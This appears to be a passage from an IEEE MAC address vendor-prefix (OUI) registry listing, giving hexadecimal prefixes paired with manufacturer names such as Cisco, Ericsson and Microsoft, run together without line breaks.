0014F5 OSI Security Devices 0014E9 Nortech International 0014EE Western Digital Technologies, Inc. 0014DF HI-P Tech Corporation 0014E4 infinias, LLC 0014D3 SEPSA 0014D8 bio-logic SA 0014D2 Kyuden Technosystems Corporation 0015E0 Ericsson 0015DC KT&C Co., Ltd. 0015D5 NICEVT 0015D7 Reti Corporation 0015D6 OSLiNK Sp. z o.o. 0015C9 Gumstix, Inc 0015BD Group 4 Technology Ltd 0015B6 ShinMaywa Industries, Ltd. 001581 MAKUS Inc. 00156B Perfisans Networks Corp. 001570 Zebra Technologies Inc 00155D Microsoft Corporation 00155F GreenPeak Technologies 001564 BEHRINGER Spezielle Studiotechnik GmbH 00155E Morgan Stanley 001558 FOXCONN 001551 RadioPulse Inc. 001549 Dixtal Biomedica Ind. Com. Ltda 00154C Saunders Electronics 00154A WANSHIH ELECTRONIC CO., LTD 00153D ELIM PRODUCT CO. 001544 coM.s.a.t. AG 001531 KOCOM 001538 RFID, Inc. 00161D Innovative Wireless Technologies, Inc. 00161C e:cue 00160C LPLDEVELOPMENT S.A. DE C.V 001611 Altecon Srl 001612 Otsuka Electronics Co., Ltd. 001605 YORKVILLE SOUND INC. 0015F9 Cisco Systems, Inc 001600 CelleBrite Mobile Synchronization 0015ED Fulcrum Microsystems, Inc. 0015E1 Picochip Ltd 0015E6 MOBILE TECHNIKA Inc. 0015B1 Ambient Corporation 0015AC Capelon AB 0015A7 Robatech AG 001594 BIXOLON CO.,LTD 00158D Jennic Ltd 001588 Salutica Allied Solutions Sdn Bhd 0014CC Zetec, Inc. 0014C0 Symstream Technology Group Ltd 0014C5 Alive Technologies Pty Ltd 0014B9 MSTAR SEMICONDUCTOR 0014AF Datasym POS Inc. 0014A8 Cisco Systems, Inc 00163C Rebox B.V. 00162E Space Shuttle Hi-Tech Co., Ltd. 001629 Nivus GmbH 001622 BBH SYSTEMS GMBH 001616 BROWAN COMMUNICATION INC. 00161B Micronet Corporation 00135B PanelLink Cinema, LLC 001362 ShinHeung Precision Co., Ltd. 001351 Niles Audio Corporation 001345 Eaton Corporation 00134A Engim, Inc. 00133E MetaSwitch 00132B Phoenix Digital 001332 Beijing Topsec Network Security Technology Co., Ltd. 001337 Orient Power Home Network Ltd. 001338 FRESENIUS-VIAL 00137A Netvox Technology Co., Ltd. 001381 CHIPS & Systems, Inc. 001374 Atheros Communications, Inc. 00136E Techmetro Corp. 001373 BLwave Electronics Co., Ltd 001367 Narayon. Co., Ltd. 001361 Biospace Co., Ltd. 001357 Soyal Technology Co., Ltd. 001326 ECM Systems Ltd 001325 Cortina Systems Inc 00131B BeCell Innovations Corp. 00131C LiteTouch, Inc. 001309 Ocean Broadband Networks 00130E Focusrite Audio Engineering Limited 0012FC PLANET System Co.,LTD 0012F6 MDK CO.,LTD. 0012F1 IFOTEC 00143E AirLink Communications, Inc. 001437 GSTeletech Co.,Ltd. 001430 ViPowER, Inc 00142B Edata Communication Inc. 001424 Merry Electrics CO., LTD. 00141F SunKwang Electronics Co., Ltd 00141A DEICY CORPORATION 001413 Trebing & Himstedt Prozeßautomation GmbH & Co. KG 001415 Intec Automation inc. 001414 Jumpnode Systems LLC. 001405 OpenIB, Inc. 00140B FIRST INTERNATIONAL COMPUTER, INC. 0013FE GRANDTEC ELECTRONIC CORP. 0013F9 Cavera Systems 0013F2 Klas Ltd 0013EC Netsnapper Technologies SARL 0013E1 Iprobe AB 0013E2 GeoVision Inc. 0013D5 RuggedCom 0013DC IBTEK INC. 0013D0 t+ Medical Ltd 0013CB Zenitel Norway AS 0013C6 OpenGear, Inc 0013C5 LIGHTRON FIBER-OPTIC DEVICES INC. 0013BB Smartvue Corporation 0013BF Media System Planning Corp. 0013B5 Wavesat 0013AE Radiance Technologies, Inc. 0013A2 MaxStream, Inc 00139B ioIMAGE Ltd. 00139C Exavera Technologies, Inc. 001396 Acbel Polytech Inc. 001389 Redes de Telefonía Móvil S.A. 00149C HF Company 0014A3 Vitelec BV 001497 ZHIYUAN Eletronics co.,ltd. 001496 Phonic Corp. 001490 ASP Corporation 001489 B15402100 - JANDEI, S.L. 001484 Cermate Technologies Inc. 00147F Thomson Telecom Belgium 00147A Eubus GmbH 001473 Bookham Inc 001467 ArrowSpan Inc. 001460 Kyocera Wireless Corp. 00145B SeekerNet Inc. 00145A Neratec Solutions AG 001459 Moram Co., Ltd. 001454 Symwave 001443 Consultronics Europe Ltd 00144A Taiwan Thick-Film Ind. Corp. 0011C4 Terminales de Telecomunicacion Terrestre, S.L. 0011C9 MTT Corporation 0011BF AESYS S.p.A. 0011B8 Liebherr - Elektronik GmbH 0011AC Simtec Electronics 0011B1 BlueExpert Technology Corp. 0011B2 2001 Technology Inc. 0011A0 Vtech Engineering Canada Ltd 0011A5 Fortuna Electronic Corp. 001276 CG Power Systems Ireland Limited 00126F Rayson Technology Co., Ltd. 001270 NGES Denro Systems 00126A OPTOELECTRONICS Co., Ltd. 001263 Data Voice Technologies GmbH 00125E CAEN 00125D CyberNet Inc. 001259 THERMO ELECTRON KARLSRUHE 001254 Spectra Technologies Holdings Company Ltd 001253 AudioDev AB 00129D First International Computer do Brasil 001291 KWS Computersysteme GmbH 001296 Addlogix 00128F Montilio 001282 Qovia 001289 Advance Sterilization Products 00127D MobileAria 0011F4 woori-net 0011EE Estari, Inc. 0011ED 802 Global 0011E8 Tixi.Com 0011DB Land-Cellular Corporation 0011DC Glunz & Jensen 0011E1 Arcelik A.S 0011CE Ubisense Limited 0011D5 Hangzhou Sunyard System Engineering Co.,Ltd. 001246 T.O.M TECHNOLOGY INC.. 00124D Inducon BV 001241 a2i marketing center 00123A Posystech Inc., Co. 001234 Camille Bauer 00122A VTech Telecommunications Ltd. 00122E Signal Technology - AISD 001233 JRC TOKKI Co.,Ltd. 001199 2wcom Systems GmbH 00118F EUTECH INSTRUMENTS PTE. LTD. 001183 Datalogic ADC, Inc. 00117C e-zy.net 001176 Intellambda Systems, Inc. 0012C0 HotLava Systems, Inc. 0012B5 Vialta, Inc. 0012BC Echolab LLC 0012B6 Santa Barbara Infrared, Inc. 0012B0 Efore Oyj (Plc) 0012A4 ThingMagic, LLC 0012A9 3Com Ltd 0012A3 Trust International B.V. 001224 NexQL Corporation 001229 BroadEasy Technologies Co.,Ltd 00121D Netfabric Corporation 001211 Protechna Herbst GmbH & Co. KG 001218 ARUZE Corporation 001205 Terrasat Communications, Inc. 00120A Emerson Climate Technologies GmbH 0011FE Keiyo System Research, Inc. 0011F8 AIRAYA Corp 0012EC Movacolor b.v. 0012E5 Time America, Inc. 0012E0 Codan Limited 0012DF Novomatic AG 0012D9 Cisco Systems, Inc 0012C6 TGC America, Inc 0012CD ASEM SpA 000FE9 GW TECHNOLOGIES CO.,LTD. 000FDD SORDIN AB 000FD6 Sarotech Co., Ltd 002654 3Com Corporation 000FD0 ASTRI 000FCF DataWind Research 000FC3 PalmPalm Technology, Inc. 001144 Assurance Technology Corp 00113E JL Corporation 001131 UNATECH. CO.,LTD 001137 AICHI ELECTRIC CO., LTD. 00112D iPulse Systems 001123 Appointech, Inc. 00111D Hectrix Limited 000F6C ADDI-DATA GmbH 000F6B GateWare Communications GmbH 000F5F Nicety Technologies Inc. (NTS) 000F5A Peribit Networks 000F53 Solarflare Communications Inc 000F47 ROBOX SPA 000F4C Elextech INC 001170 GSC SRL 001169 EMS Satcom 001164 ACARD Technology Corp. 00115F ITX Security Co., Ltd. 00115A Ivoclar Vivadent AG 001159 MATISSE NETWORKS INC 001153 Trident Tek, Inc. 001150 Belkin Corporation 001151 Mykotronx 00114A KAYABA INDUSTRY Co,.Ltd. 001110 Maxanna Technology Co., Ltd. 001117 CESNET 001104 TELEXY 00110B Franklin Technology Systems 001100 Schneider Electric 000FFE G-PRO COMPUTER 000FEF Thales e-Transactions GmbH 000FF0 Sunray Co. Ltd. 000FF5 GN&S company 000FCA A-JIN TECHLINE CO, LTD 000FBD MRV Communications (Networks) LTD 000FBE e-w/you Inc. 000FB7 Cavium 000FA4 Sprecher Automation GmbH 000FAB Kyushu Electronics Systems Inc. 000F9D DisplayLink (UK) Ltd 000F98 Avamax Co. Ltd. 000F8B Orion MultiSystems Inc 000F8C Gigawavetech Pte Ltd 000F91 Aerotelecom Co.,Ltd. 000F7E Ablerex Electronics Co., LTD 000F85 ADDO-Japan Corporation 000F72 Sandburst 000F79 Bluetooth Interest Group Inc. 000F19 Boston Scientific 000F0D Hunt Electronic Co., Ltd. 000F01 DIGITALKS INC 000EFA Optoway Technology Incorporation 000EF3 Smarthome 000EEE Muco Industrie BV 000EE7 AAC ELECTRONICS CORP. 000F38 Netstar 000F40 Optical Internetworking Forum 000F33 DUALi Inc. 000F2C Uplogix, Inc. 000F26 WorldAccxxLLC 000F25 AimValley B.V. 000F13 Nisca corporation 000F14 Mindray Co., Ltd. 000EE1 ExtremeSpeed Inc. 000EDB XiNCOM Corp. 000EE2 Custom Engineering 000ED5 COPAN Systems Inc. 000EC9 YOKO Technology Corp. 000ED0 Privaris, Inc. 000ED7 Cisco Systems, Inc 000EC4 Iskra Transmission d.d. 000EC3 Logic Controls, Inc. 000EBD Burdick, a Quinton Compny 000EB1 Newcotech,Ltd 000DAA S.A.Tehnology co.,Ltd. 000DA0 NEDAP N.V. 000D9F RF Micro Devices 000D9A INFOTEC LTD 000D8D Prosoft Technology, Inc 000D8E Koden Electronics Co., Ltd. 000D84 Makus Inc. 000D83 Sanmina-SCI HungaryLtd. 000D76 Hokuto Denshi Co,. Ltd. 000D7D Afco Systems 000E51 tecna elettronica srl 000E4C Bermai Inc. 000E4B atrium c and i 000E3E Sun Optronics Inc 000E45 Beijing Newtry Electronic Technology Ltd 000E39 Cisco Systems, Inc 000E32 Kontron Medical 000E2B Safari Technologies 000E2C Netcodec co. 000E1F TCL Networks Equipment Co., Ltd. 000E26 Gincom Technology Corp. 000E1A JPS Communications 000E19 LogicaCMG Pty Ltd 000E13 Accu-Sort Systems inc. 000E0F ERMME 000E05 WIRELESS MATRIX CORP. 000E06 Team Simoco Ltd 000E0B Netac Technology Co., Ltd. 000DF8 ORGA Kartensysteme GmbH 000DFF CHENMING MOLD INDUSTRY CORP. 000DEC Cisco Systems, Inc 000DF3 Asmax Solutions 000DE6 YOUNGBO ENGINEERING CO.,LTD 000DE5 Samsung Thales 000DE0 ICPDAS Co.,LTD 000DD3 SAMWOO Telecommunication Co.,Ltd. 000DD4 Symantec Corporation 000DD9 Anton Paar GmbH 000DCD GROUPE TXCOM 000EAA Scalent Systems, Inc. 000E9E Topfield Co., Ltd 000EA3 CNCR-IT CO.,LTD,HangZhou P.R.CHINA 000EA4 Certance Inc. 000E92 Open Telecom 000E97 Ultracker Technology CO., Inc 000E91 Navico Auckland Ltd 000E8B Astarte Technology Co, Ltd. 000E84 Cisco Systems, Inc 000D6A Redwood Technologies LTD 000D71 boca systems 000D5E NEC Personal Products 000D63 DENT Instruments, Inc. 000D64 COMAG Handels AG 000D57 Fujitsu I-Network Systems Limited. 000D52 Comart system 000D51 DIVR Systems, Inc. 000D47 Collex 000DC1 SafeWeb Inc 000DC6 DigiRose Technology Co., Ltd. 000DBA Océ Document Technologies GmbH 000DB4 NETASQ 000DB3 SDO Communication Corperation 000DAE SAMSUNG HEAVY INDUSTRIES CO., LTD. 000DA6 Universal Switching Corporation 000E78 Amtelco 000E70 in2 Networks 000E6B Janitza electronics GmbH 000E64 Elphel, Inc 000E5D Triple Play Technologies A/S 000E5E Raisecom Technology 000BE2 Lumenera Corporation 000BE7 COMFLUX TECHNOLOGY INC. 000BD6 Paxton Access Ltd 000BD2 Remopro Technology Inc. 000BC6 ISAC, Inc. 000BCB Fagor Automation , S. Coop 000BBF Cisco Systems, Inc 000BBA Harmonic, Inc 000BB3 RiT technologies Ltd. 000C38 TelcoBridges Inc. 000C3F Cogent Defence & Security Networks, 000C30 Cisco Systems, Inc 000C26 Weintek Labs. Inc. 000C2E Openet information technology(shenzhen) Co., Ltd. 000C25 Allied Telesis Labs, Inc. 000C1F Glimmerglass Networks 000C24 ANATOR 000C1B ORACOM Co, Ltd. 000C19 Telio Communications GmbH 000C7A DaTARIUS Technologies GmbH 000C67 OYO ELECTRIC CO.,LTD 000C4F UDTech Japan Corporation 000C54 Pedestal Networks, Inc 000C5B HANWANG TECHNOLOGY CO.,LTD 000C60 ACM Systems 000C62 ABB AB, Cewe-Control 000C48 QoStek Corporation 000C4D Curtiss-Wright Controls Avionics & Electronics 000C14 Diagnostic Instruments, Inc. 000C07 Iftest AG 000C06 Nixvue SystemsPte Ltd 000C08 HUMEX Technologies Corp. 000C0D Communications & Power Industries / Satcom Division 000BF5 Shanghai Sibo Telecom Technology Co.,Ltd 000BFA EXEMYS SRL 000C01 Abatron AG 000BEE inc.jet, Incorporated 000CE6 Meru Networks Inc 000CEB CNMP Networks, Inc. 000CE2 Rolls-Royce 000CEC Spectracom Corp. 000CD7 Nallatech Ltd 000CDE ABB STOTZ-KONTAKT GmbH 000CD2 Schaffner EMV AG 000CD8 M. K. Juchheim GmbH & Co 000CC6 Ka-Ro electronics GmbH 000CCB Design Combus Ltd 000CC5 Nextlink Co., Ltd. 000CB3 ROUND Co.,Ltd. 000CB8 MEDION AG 000CBF Holy Stone Ent. Co., Ltd. 000A07 WebWayOne Ltd 000CA1 SIGMACOM Co., LTD. 000CA6 Mintera Corporation 000CA8 Garuda Networks Corporation 000CAD BTU International 000C95 PrimeNet 000C9A Hitech Electronics Corp. 000C8E Mentor Engineering Inc 000C93 Xeline Co., Ltd. 000C7F synertronixx GmbH 000C82 NETWORK TECHNOLOGIES INC 000C87 AMD 000C73 TELSON ELECTRONICS CO., LTD 000D1D HIGH-TEK HARNESS ENT. CO., LTD. 000D1E Control Techniques 000D0C MDI Security Systems 000D11 DENTSPLY - Gendex 000D05 cybernet manufacturing inc. 000CF9 Xylem Water Solutions 000CFE Grand Electronic Co., Ltd 000CF2 GAMESA Eólica 000D43 DRS Tactical Systems Inc. 000D37 WIPLUG 000D3E APLUX Communications Ltd. 000D3D Hammerhead Systems, Inc. 000D30 IceFyre Semiconductor 000D2B Racal Instruments 000D24 SENTEC E&E CO., LTD. 000D18 Mega-Trend Electronics CO., LTD. 000BA4 Shiron Satellite Communications Ltd. (1996) 000BA9 CloudShield Technologies, Inc. 000BA3 Siemens AG, I&S 000B91 Aglaia Gesellschaft für Bildverarbeitung und Kommunikation mbH 000B96 Innotrac Diagnostics Oy 000B9D TwinMOS Technologies Inc. 000B8A MITEQ Inc. 000B7E SAGINOMIYA Seisakusho Inc. 000B83 DATAWATT B.V. 000AAD Stargames Corporation 000AB2 Fresnel Wireless Systems 000AB4 ETIC Telecommunications 000AB9 Astera Technologies Corp. 000AA1 V V S Limited 000AA6 Hochiki Corporation 000A8E Invacom Ltd 000A9F Pannaway Technologies, Inc. 000A99 Calamp Wireless Networks Inc 000A93 W2 Networks, Inc. 000A7F Teradon Industries, Inc 000A86 Lenze 000A8B Cisco Systems, Inc 000B15 Platypus Technology 000B10 11wave Technonlogy Co.,Ltd 000B09 Ifoundry Systems Singapore 000B04 Volktek Corporation 000AFD Kentec Electronics 000B02 Dallmeier electronic 000AF1 Clarity Design, Inc. 000AF6 Emerson Climate Technologies Retail Solutions, Inc. 000A0E Invivo Research Inc. 000A13 Honeywell Video Systems 000A04 3Com Ltd 0009FD Ubinetics Limited 0009F4 Alcon Laboratories, Inc. 0009E7 ADC Techonology 0009EE MEIKYO ELECTRIC CO.,LTD 0009F3 WELL Communication Corp. 0009E2 Sinbon Electronics Co., Ltd. 0009DB eSpace 000B70 Load Technology, Inc. 000B72 Lawo AG 000B77 Cogent Systems, Inc. 000B71 Litchfield Communications Inc. 000B5F Cisco Systems, Inc 000B64 Kieback & Peter GmbH & Co KG 000B5B Rincon Research Corporation 000B56 Cybernetics 000B4E VertexRSI, General Dynamics SatCOM Technologies, Inc. 000B53 INITIUM Co., Ltd. 000A35 Xilinx 000A3A J-THREE INTERNATIONAL Holding Co., Ltd. 000A3C Enerpoint Ltd. 000A41 Cisco Systems, Inc 000A48 Albatron Technology 000A2E MAPLE NETWORKS CO., LTD 000A26 CEIA S.p.A. 000A28 Motorola 000A21 Integra Telecom Co. Ltd 000A1A Imerge Ltd 000A15 Silicon Data, Inc 000B42 commax Co., Ltd. 000B47 Advanced Energy 000B36 Productivity Systems, Inc. 000B28 Quatech Inc. 000B2F bplan GmbH 000B1C SIBCO bv 000B21 G-Star Communications Inc. 000B23 Siemens Subscriber Networks 000A7A Kyoritsu Electric Co., Ltd. 000A6E Harmonic, Inc 000A73 Scientific Atlanta 000A60 Autostar Technology Pte Ltd 000A67 OngCorp 000A6C Walchem Corporation 000A5B Power-One as 000A59 HW server 000A54 Laguna Hills, Inc. 000A4D Noritz Corporation 000ADF Gennum Corporation 000AD8 IPCserv Technology Corp. 000ACC Winnow Networks, Inc. 000AD1 MWS 000AD3 INITECH Co., Ltd 000AC0 Fuyoh Video Industry CO., LTD. 000AC5 Color Kinetics 00097B Cisco Systems, Inc 000982 Loewe Opta GmbH 000976 Datasoft ISDN Systems GmbH 000969 Meret Optical Communications 000963 Dominion Lasercom Inc. 00096A Cloverleaf Communications Inc. 00096F Beijing Zhongqing Elegant Tech. Corp.,Limited 00095D Dialogue Technology Corp. 00095F Telebyte, Inc. 000958 INTELNET S.A. 00094C Communication Weaver Co.,Ltd. 000951 Apogee Imaging Systems 00094B FillFactory NV 0009AE OKANO ELECTRIC CO.,LTD 0009AD HYUNDAI SYSCOMM, INC. 0009B4 KISAN TELECOM CO., LTD. 0009A8 Eastmode Pte Ltd 00099B Western Telematic Inc. 00099C Naval Research Laboratory 0009A1 Telewise Communications, Inc. 000995 Castle Technology Ltd 000989 VividLogic Inc. 00098E ipcas GmbH 00097C Cisco Systems, Inc 0009C8 SINAGAWA TSUSHIN KEISOU SERVICE 0009CF iAd GmbH 0009D4 Transtech Networks 0009BB MathStar, Inc. 0009C0 6WIND 000807 Access Devices Limited 000801 HighSpeed Surfing Inc. 000808 PPT Vision, Inc. 0007F7 Galtronics 0007FE Rigaku Corporation 0007F8 ITDevices, Inc. 0007EB Cisco Systems, Inc 0007F1 TeraBurst Networks Inc. 0007E5 Coup Corporation 0007DF Vbrick Systems Inc. 0007DE eCopilt AB 0007CF Anoto AB 0007D2 Logopak Systeme GmbH & Co. KG 0008AA KARAM 0008A4 Cisco Systems, Inc 000898 Gigabit Optics Corporation 00089D UHD-Elektronik 000890 AVILINKS SA 000884 Index Braille AB 000877 Liebert-Hiross Spa 08006B ACCEL TECHNOLOGIES INC. 000871 NORTHDATA Co., Ltd. 00087D Cisco Systems, Inc 000876 SDSystem 0008E6 Littlefeet 0008D9 Mitadenshi Co.,LTD 0008D4 IneoQuest Technologies, Inc 0008CD With-Net Inc 0008D3 Hercules Technologies S.A.S. 0008C3 Contex A/S 0008BD TEPG-US 0008BC Ilevo AB 0008B7 HIT Incorporated 0008B0 BKtel communications GmbH 00086A Securiton Gmbh 000864 Fasy S.p.A. 00085E PCO AG 000851 Canadian Bank Note Company, Ltd. 000852 Davolink Co. Inc. 000857 Polaris Networks, Inc. 00081B Windigo Systems 000822 InPro Comm 00082E Multitone Electronics PLC 00081C @pos.com 000828 Koei Engineering Ltd. 000816 Bluelon ApS 000815 CATS Co., Ltd. 00091A Macat Optics & Electronics Co., Ltd. 000919 MDS Gateways 000913 SystemK Corporation 00090C Mayekawa Mfg. Co. Ltd. 000907 Chrysalis Development 000900 TMT 0008F8 UTC CCS 0008F3 WANY 0008EC Optical Zonu Corporation 0008E0 ATO Technology Ltd. 0008E5 IDK Corporation 000945 Palmmicro Communications Inc 00093E C&I Technologies 000932 Omnilux 000939 ShibaSoku Co.,Ltd. 000926 YODA COMMUNICATIONS, INC. 00092B iQstor Networks, Inc. 00092C Hitpoint Inc. 00091F A&D Co., Ltd. 000751 m-u-t AG 000750 Cisco Systems, Inc 000746 TURCK, Inc. 00074A Carl Valentin GmbH 00073A Inventel Systemes 000734 ONStor, Inc. 000739 Scotty Group Austria Gmbh 00072D CNSystems 000727 Zi Corporation (HK) Ltd. 000717 Wieland Electric GmbH 00071E Tri-M Engineering / Nupak Dev. Corp. 000723 ELCON Systemtechnik GmbH 00071D Satelsa Sistemas Y Aplicaciones De Telecomunicaciones, S.A. 000632 Mesco Engineering GmbH 000625 The Linksys Group, Inc. 00062C Bivio Networks 000624 Gentner Communications Corp. 00061B Notebook Development Lab.Lenovo Japan Ltd. 000622 Chung Fu Chen Yeh Enterprise Corp. 00061C Hoshino Metal Industries, Ltd. 000621 Hinox, Co., Ltd. 00060B Artesyn Embedded Technologies 000611 Zeus Wireless, Inc. 000615 Kimoto Electric Co., Ltd. 000605 Inncom International, Inc. 0005E3 LightSand Communications, Inc. 0005EF ADOIR Digital Technology 0005F6 Young Chang Co. Ltd. 0005E9 Unicess Network, Inc. 0005F0 SATEC 0005FC Schenck Pegasus Corp. 0005E0 Empirix Corp. 0005D6 L-3 Linkabit 0005C4 Telect, Inc. 0005D0 Solinet Systems 0005CA Hitron Technology, Inc. 0005BD ROAX BV 0005BE Kongsberg Seatex AS 0005C3 Pacific Instruments, Inc. 00059D Daniel Computing Systems, Inc. 000796 LSI Systems, Inc. 000790 Tri-M Technologies (s) Limited 000784 Cisco Systems, Inc 000789 DONGWON SYSTEMS 000783 SynCom Network, Inc. 00078A Mentor Data System Inc. 00077A Infoware System Co., Ltd. 00076D Flexlight Networks 000769 Italiana Macchi SpA 000773 Ascom Powerline Communications Ltd. 00075D Celleritas Inc. 000763 Sunniwell Cyber Tech. Co., Ltd. 000756 Juyoung Telecom 0007C9 Technol Seven Co., Ltd. 00047B Schlumberger 0007C3 Thomson 0007BD Radionet Ltd. 0007B0 Office Details, Inc. 0007B7 Samurai Ind. Prods Eletronicos Ltda 0007B6 Telecom Technology Ltd. 0007A3 Ositis Software, Inc. 0007A9 Novasonics 0007AC Eolring 00079C Golden Electronics Technology Co., Ltd. 0006AB W-Link Systems, Inc. 0006A5 PINON Corp. 0006A1 Celsian Technologies, Inc. 000694 Mobillian Corporation 00069B AVT Audio Video Technologies GmbH 00068E HID Corporation 000688 Telways Communication Co., Ltd. 000682 Convedia 000681 Goepel Electronic GmbH 000655 Yipee, Inc. 00D05F VALCOM, INC. 000674 Spectrum Control, Inc. 000661 NIA Home Technologies Corp. 000668 Vicon Industries Inc. 000667 Tripp Lite 00066E Delta Electronics, Inc. 00064E Broad Net Technology Inc. 00064F PRO-NETS Technology Corporation 000642 Genetel Systems Inc. 00063E Opthos Inc. 000648 Seedsware, Inc. 000638 Sungjin C&C Co., Ltd. 00070B Novabase SGPS, SA 000710 Adax, Inc. 000700 Zettamedia Korea 0006F9 Mitsui Zosen Systems Research Inc. 000703 CSEE Transport 000706 Sanritz Corporation 0006E8 Optical Network Testing, Inc. 0006EE Shenyang Neu-era Information & Technology Stock Co., Ltd 0006E2 Ceemax Technology Co., Ltd. 0006D8 Maple Optical Systems 0006D4 Interactive Objects, Inc. 0006CE DATENO 0006B7 TELEM GmbH 0006BE Baumer Optronic GmbH 0006B8 Bandspeed Pty Ltd 0006BD BNTECHNOLOGY Co., Ltd. 0006C2 Smartmatic Corporation 0006C7 RFNET Technologies Pte Ltd (S) 0006B1 Sonicwall 000475 3 Com Corporation 00046F Digitel S/A Industria Eletronica 000468 Vivity, Inc. 00045C Mobiwave Pte Ltd 000463 Bosch Security Systems 000462 DAKOS Data & Communication Co., Ltd. 000455 ANTARA.net 000456 Cambium Networks Limited 000450 DMD Computers SRL 000446 CYZENTECH Co., Ltd. 00044B NVIDIA 0005AD Topspin Communications, Inc. 0005B1 ASB Technology BV 0005B7 Arbor Technology Corp. 0005A3 QEI, Inc. 000597 Eagle Traffic Control Systems 000591 Active Silicon Ltd 00058A Netcom Co., Ltd. 000590 Swissvoice Ltd. 00057E Eckelmann Steuerungstechnik GmbH 000578 Private 000584 AbsoluteValue Systems, Inc. 00052E Cinta Networks 00053A Willowglen Services Pte Ltd 000528 New Focus, Inc. 000527 SJ Tek Co. Ltd 000521 Control Microsystems 000515 Nuark Co., Ltd. 00051B Magic Control Technology Corporation 000511 Complementary Technologies Ltd 00050B SICOM Systems, Inc. 000501 Cisco Systems, Inc 000505 Systems Integration Solutions, Inc. 000504 Naray Information & Communication Enterprise 0004FB Commtech, Inc. 000574 Cisco Systems, Inc 000567 Etymonic Design, Inc. 00056E National Enhance Technology, Inc. 00056D Pacific Corporation 000561 nac Image Technology, Inc. 00055B Charles Industries, Ltd. 000554 Rangestar Wireless 000555 Japan Cash Machine Co., Ltd. 000547 Starent Networks 00054E Philips 000540 FAST Corporation 000541 Advanced Systems Co., Ltd. 000534 Northstar Engineering Ltd. 0004F4 Infinite Electronics Inc. 0004EE Lincoln Electric Company 0004E8 IER, Inc. 008086 COMPUTER GENERATION INC. 0004DE Cisco Systems, Inc 0004E4 Daeryung Ind., Inc. 0004D7 Omitec Instrumentation Ltd. 0004D8 IPWireless, Inc. 0004D2 Adcon Telemetry GmbH 0004D1 Drew Technologies, Inc. 0004CB Tdsoft Communication, Ltd. 0004C5 ASE Technologies, USA 00043F ESTeem Wireless Modems, Inc 000439 Rosco Entertainment Technology, Inc. 000433 Cyberboard A/S 00042C Minet, Inc. 000427 Cisco Systems, Inc 000426 Autosys 000420 Slim Devices, Inc. 000418 Teltronic S.A.U. 000412 WaveSmith Networks, Inc. 00040C Kanno Works, Ltd. 000370 NXTV, Inc. 000405 ACN Technologies 000406 Fa. Metabox AG 0003FB ENEGATE Co.,Ltd. 0003FC Intertex Data AB 0003EF Oneline AG 0003F6 Allegro Networks, Inc. 0003EA Mega System Technologies, Inc. 0003E9 Akara Canada, Inc. 0003E4 Cisco Systems, Inc 0003D8 iMPath Networks, Inc. 0003D5 Advanced Communications Co., Ltd. 0003CC Momentum Computer, Inc. 0003D1 Takaya Corporation 0003C5 Mobotix AG 0003BE Netility 0003B9 Hualong Telecom Co., Ltd. 0003B7 ZACCESS Systems 0003B3 IA Link Systems Co., Ltd. 0003A7 Unixtar Technology, Inc. 0003AE Allied Advanced Manufacturing Pte, Ltd. 0003A0 Cisco Systems, Inc 000398 WISI 00039B NetChip Technology, Inc. 000394 Connect One 00038D PCS Revenue Control Systems, Inc. 000385 Actelis Networks, Inc. 000388 Fastfame Technology Co., Ltd. 00037F Atheros Communications, Inc. 0004B8 Kumahira Co., Ltd. 0004B2 ESSEGI SRL 0004AE Sullair Corporation 0004AB Comverse Network Systems, Inc. 00049F Freescale Semiconductor 0004A4 NetEnabled, Inc. 00049E Wirelink Co., Ltd. 000498 Mahi Networks 000491 Technovision, Inc. 00048C Nayna Networks, Inc. 000492 Hive Internet, Ltd. 000485 PicoLight 000307 Secure Works, Inc. 000300 Barracuda Networks, Inc. 0002F8 SEAKR Engineering, Inc. 00D024 Cognex Corporation 0002F4 PCTEL, Inc. 0002FB Baumuller Aulugen-Systemtechnik GmbH 0002E9 CS Systemes De Securite - C3S 0002DD Bromax Communications, Ltd. 0002E2 NDC Infared Engineering 0002DA ExiO Communications, Inc. 0002D6 NICE Systems 0002CA EndPoints, Inc. 0002CF ZyGate Communications, Inc. 0001CD ARtem 0001D2 inXtron, Inc. 0001C9 Cisco Systems, Inc 0001C7 Cisco Systems, Inc 0001C2 ARK Research Corp. 0001BE Gigalink Co., Ltd. 0001BC Brains Corporation 0001AC Sitara Networks, Inc. 0001A9 BMW AG 0001B0 Fulltek Technology Co., Ltd. 000179 WIRELESS TECHNOLOGY, INC. 000185 Hitachi Aloka Medical, Ltd. 00018C Mega Vision 000192 Texas Digital Systems 00019E ESS Technology, Inc. 001095 Thomson Inc. 00025A Catena Networks 000271 Zhone Technologies 00026C Philips CFT 00026A Cocess Telecom Co., Ltd. 000266 Thermalogic Corporation 00025F Nortel Networks 000256 Alpha Processor, Inc. 000251 Soma Networks, Inc. 00024A Cisco Systems, Inc 00024D Mannesman Dematic Colby Pty. Ltd. 000245 Lampus Co, Ltd. 00023E Selta Telematica S.p.a 00023B Ericsson 000237 Cosmo Research Corp. 000234 Imperial Technology, Inc. 000228 Necsom, Ltd. 000224 C-COR 00020D Micronpc.com 000220 CANON FINETECH INC. 000378 HUMAX Co., Ltd. 00036C Cisco Systems, Inc 000373 Aselsan A.S 000368 Embedone Co., Ltd. 000366 ASM Pacific Technology 000365 Kira Information & Communications, Ltd. 000360 PAC Interactive Technology, Inc. 00035D Bosung Hi-Net Co., Ltd. 00031A Beijing Broad Telecom Ltd., China 000359 DigitalSis 000354 Fiber Logic Communications 000352 Colubris Networks 00034E Pos Data Company, Ltd. 0002C3 Arelnet Ltd. 0002BE Totsu Engineering, Inc. 0002BA Cisco Systems, Inc 0002B2 Cablevision 0002B5 Avnet, Inc. 0002AE Scannex Electronics Ltd. 0002A7 Vivace Networks 0002A2 Hilscher GmbH 000297 C-COR.net 00028E Rapid 5 Networks, Inc. 000293 Solid Data Systems 0001FA HOROSCAS 00027D Cisco Systems, Inc 00033F BigBand Networks, Ltd. 000336 Zetes Technologies 00033B TAMI Tech Co., Ltd. 000328 Mace Group, Inc. 00032F Global Sun Technology, Inc. 000320 Xpeed, Inc. 000323 Cornet Technology, Inc. 00029F L-3 Communication Aviation Recorders 00031F Condev Ltd. 000317 Merlin Systems, Inc. 00030E Core Communications Co., Ltd. 000313 Access Media SPA 0001A5 Nextcomm, Inc. 0001A1 Mag-Tek, Inc. 000195 Sena Technologies, Inc. 00017D ThermoQuest 000189 Refraction Technology, Inc. 00308B Brix Networks 00015A Digital Video Broadcasting 000166 TC GROUP A/S 00015F DIGITAL DESIGN GmbH 000214 DTVRO 000210 Fenecom 000208 Unify Networks, Inc. 000201 IFM Electronic gmbh 0001F5 ERIM S.A. 0001FD Digital Voice Systems, Inc. 0001E5 